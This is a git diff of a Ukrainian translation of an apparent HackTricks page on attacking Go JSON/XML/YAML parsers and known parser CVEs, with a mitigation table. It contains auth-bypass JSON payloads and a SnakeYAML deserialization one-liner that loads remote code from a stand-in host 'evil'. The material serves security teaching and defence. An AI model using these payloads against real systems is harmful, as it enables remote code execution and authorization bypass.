Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to uk

This commit is contained in:
Translator 2025-08-04 20:32:17 +00:00
parent 2a751150a4
commit a8c5f67a0a

View File

@ -6,13 +6,13 @@
Наступні проблеми були виявлені в Go JSON, хоча вони можуть бути присутніми і в інших мовах. Ці проблеми були опубліковані в [**цьому блозі**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/). Наступні проблеми були виявлені в Go JSON, хоча вони можуть бути присутніми і в інших мовах. Ці проблеми були опубліковані в [**цьому блозі**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
JSON, XML та YAML парсери Go мають довгий список несумісностей та небезпечних за замовчуванням налаштувань, які можуть бути використані для **обходу аутентифікації**, **ескалації привілеїв** або **екстракції чутливих даних**. JSON, XML та YAML парсери Go мають довгий список невідповідностей та небезпечних за замовчуванням налаштувань, які можуть бути використані для **обходу аутентифікації**, **ескалації привілеїв** або **екстракції чутливих даних**.
### (Un)Marshaling Unexpected Data ### (Un)Marshaling Unexpected Data
Мета полягає в тому, щоб експлуатувати структури, які дозволяють зловмиснику читати/записувати чутливі поля (наприклад, `IsAdmin`, `Password`). Мета полягає в тому, щоб експлуатувати структури, які дозволяють зловмиснику читати/записувати чутливі поля (наприклад, `IsAdmin`, `Password`).
- Приклад структури: - Example Struct:
```go ```go
type User struct { type User struct {
Username string `json:"username,omitempty"` Username string `json:"username,omitempty"`
@ -42,7 +42,7 @@ IsAdmin bool `json:"-,omitempty"` // ❌ wrong
```json ```json
{"-": true} {"-": true}
``` ```
✔️ Правильний спосіб заблокувати поле від (де)маршалінгу: ✔️ Правильний спосіб заблокувати поле від (не)маршалізації:
```go ```go
type User struct { type User struct {
IsAdmin bool `json:"-"` IsAdmin bool `json:"-"`
@ -50,21 +50,21 @@ IsAdmin bool `json:"-"`
``` ```
### Parser Differentials ### Parser Differentials
Мета полягає в обході авторизації шляхом використання того, як різні парсери по-різному інтерпретують один і той же payload, як у: Мета полягає в обході авторизації шляхом використання того, як різні парсери по-різному інтерпретують один і той же корисний навантаження, як у:
- CVE-2017-12635: обходження Apache CouchDB через дублікати ключів - CVE-2017-12635: обходження Apache CouchDB через дублікати ключів
- 2022: Zoom 0-click RCE через непослідовність XML парсера - 2022: Zoom 0-click RCE через несумісність XML парсера
- GitLab 2025 обходження SAML через особливості XML - GitLab 2025 обходження SAML через особливості XML
**1. Дублікати полів:** **1. Дублікати полів:**
Go's `encoding/json` бере **останнє** поле. Go's `encoding/json` бере **остання** поле.
```go ```go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req) json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction fmt.Println(req.Action) // AdminAction
``` ```
Інші парсери (наприклад, Jackson від Java) можуть взяти **перший**. Інші парсери (наприклад, Javas Jackson) можуть взяти **перший**.
**2. Нечутливість до регістру:** **2. Нечутливість до регістру:**
Go нечутливий до регістру: Go є нечутливим до регістру:
```go ```go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req) json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field // matches `Action` field
@ -91,7 +91,7 @@ json.Unmarshal([]byte(`{"ationſ": "bypass"}`), &req)
### Плутанина формату даних (Поліглоти) ### Плутанина формату даних (Поліглоти)
Мета полягає в експлуатації систем, які змішують формати (JSON/XML/YAML) або не закриваються при помилках парсера, такі як: Мета полягає в експлуатації систем, які змішують формати (JSON/XML/YAML) або не блокують помилки парсера, такі як:
- **CVE-2020-16250**: HashiCorp Vault розпарсив JSON за допомогою XML парсера після того, як STS повернув JSON замість XML. - **CVE-2020-16250**: HashiCorp Vault розпарсив JSON за допомогою XML парсера після того, як STS повернув JSON замість XML.
Зловмисник контролює: Зловмисник контролює:
@ -108,21 +108,57 @@ XML парсер Go розпарсив його **все одно** і дові
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>" "ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
} }
``` ```
Результат:
- **Go JSON** парсер: `Action_2` (нечутливий до регістру + останній виграє) - **Go JSON** парсер: `Action_2` (нечутливий до регістру + останній виграє)
- **YAML** парсер: `Action_1` (чутливий до регістру) - **YAML** парсер: `Action_1` (чутливий до регістру)
- **XML** парсер: парсить `"Action_3"` всередині рядка - **XML** парсер: парсить `"Action_3"` всередині рядка
---
### 🔐 Заходи пом'якшення ## Помітні вразливості парсерів (2023-2025)
| Ризик | Виправлення | > Наступні публічно експлуатовані проблеми показують, що небезпечний парсинг є проблемою багатьох мов — це не лише проблема Go.
|-----------------------------|---------------------------------------|
| Невідомі поля | `decoder.DisallowUnknownFields()` |
| Дублікати полів (JSON) | ❌ Немає виправлення в stdlib |
| Нечутливе співпадіння | ❌ Немає виправлення в stdlib |
| XML сміттєві дані | ❌ Немає виправлення в stdlib |
| YAML: невідомі ключі | `yaml.KnownFields(true)` |
### SnakeYAML десеріалізація RCE (CVE-2022-1471)
* Впливає на: `org.yaml:snakeyaml` < **2.0** (використовується Spring-Boot, Jenkins тощо).
* Корінна причина: `new Constructor()` десеріалізує **произвольні Java класи**, дозволяючи ланцюги гаджетів, які закінчуються виконанням віддаленого коду.
* Однорядковий PoC (відкриє калькулятор на вразливому хості):
```yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
```
* Виправлення / Пом'якшення:
1. **Оновіть до ≥2.0** (використовує `SafeLoader` за замовчуванням).
2. У старих версіях явно використовуйте `new Yaml(new SafeConstructor())`.
### libyaml Double-Free (CVE-2024-35325)
* Впливає на: `libyaml` ≤0.2.5 (C бібліотека, що використовується багатьма мовами).
* Проблема: Виклик `yaml_event_delete()` двічі призводить до подвійного звільнення, яке зловмисники можуть перетворити на DoS або, в деяких сценаріях, експлуатацію купи.
* Статус: Вгору відхилено як “неправильне використання API”, але дистрибутиви Linux випустили виправлену версію **0.2.6**, яка захищає вказівник, обнуляючи його.
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
* Впливає на: Tencent **RapidJSON** до коміту `8269bc2` (<1.1.0-patch-22).
* Помилка: У `GenericReader::ParseNumber()` неконтрольована арифметика дозволяє зловмисникам створювати величезні числові літерали, які обертаються і пошкоджують купу — в кінцевому підсумку це дозволяє підвищити привілеї, коли отримана граф об'єктів використовується для прийняття рішень про авторизацію.
---
### 🔐 Пом'якшення (Оновлено)
| Ризик | Виправлення / Рекомендація |
|-------------------------------------|------------------------------------------------------------|
| Невідомі поля (JSON) | `decoder.DisallowUnknownFields()` |
| Дублікати полів (JSON) | ❌ Немає виправлення в stdlib — перевірте за допомогою [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
| Нечутливе співпадіння (Go) | ❌ Немає виправлення — перевірте теги структур + попередньо канонізуйте вхідні дані |
| XML сміттєві дані / XXE | Використовуйте посилений парсер (`encoding/xml` + `DisallowDTD`) |
| YAML невідомі ключі | `yaml.KnownFields(true)` |
| **Небезпечна десеріалізація YAML** | Використовуйте SafeConstructor / оновіть до SnakeYAML ≥2.0 |
| libyaml ≤0.2.5 подвійне звільнення | Оновіть до **0.2.6** або виправленої версії дистрибутива |
| RapidJSON <виправлений коміт | Скомпілюйте проти останнього RapidJSON (липень 2024) |
## Посилання
- Baeldung “Вирішення CVE-2022-1471 з SnakeYAML 2.0”
- Ubuntu Security Tracker CVE-2024-35325 (libyaml)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}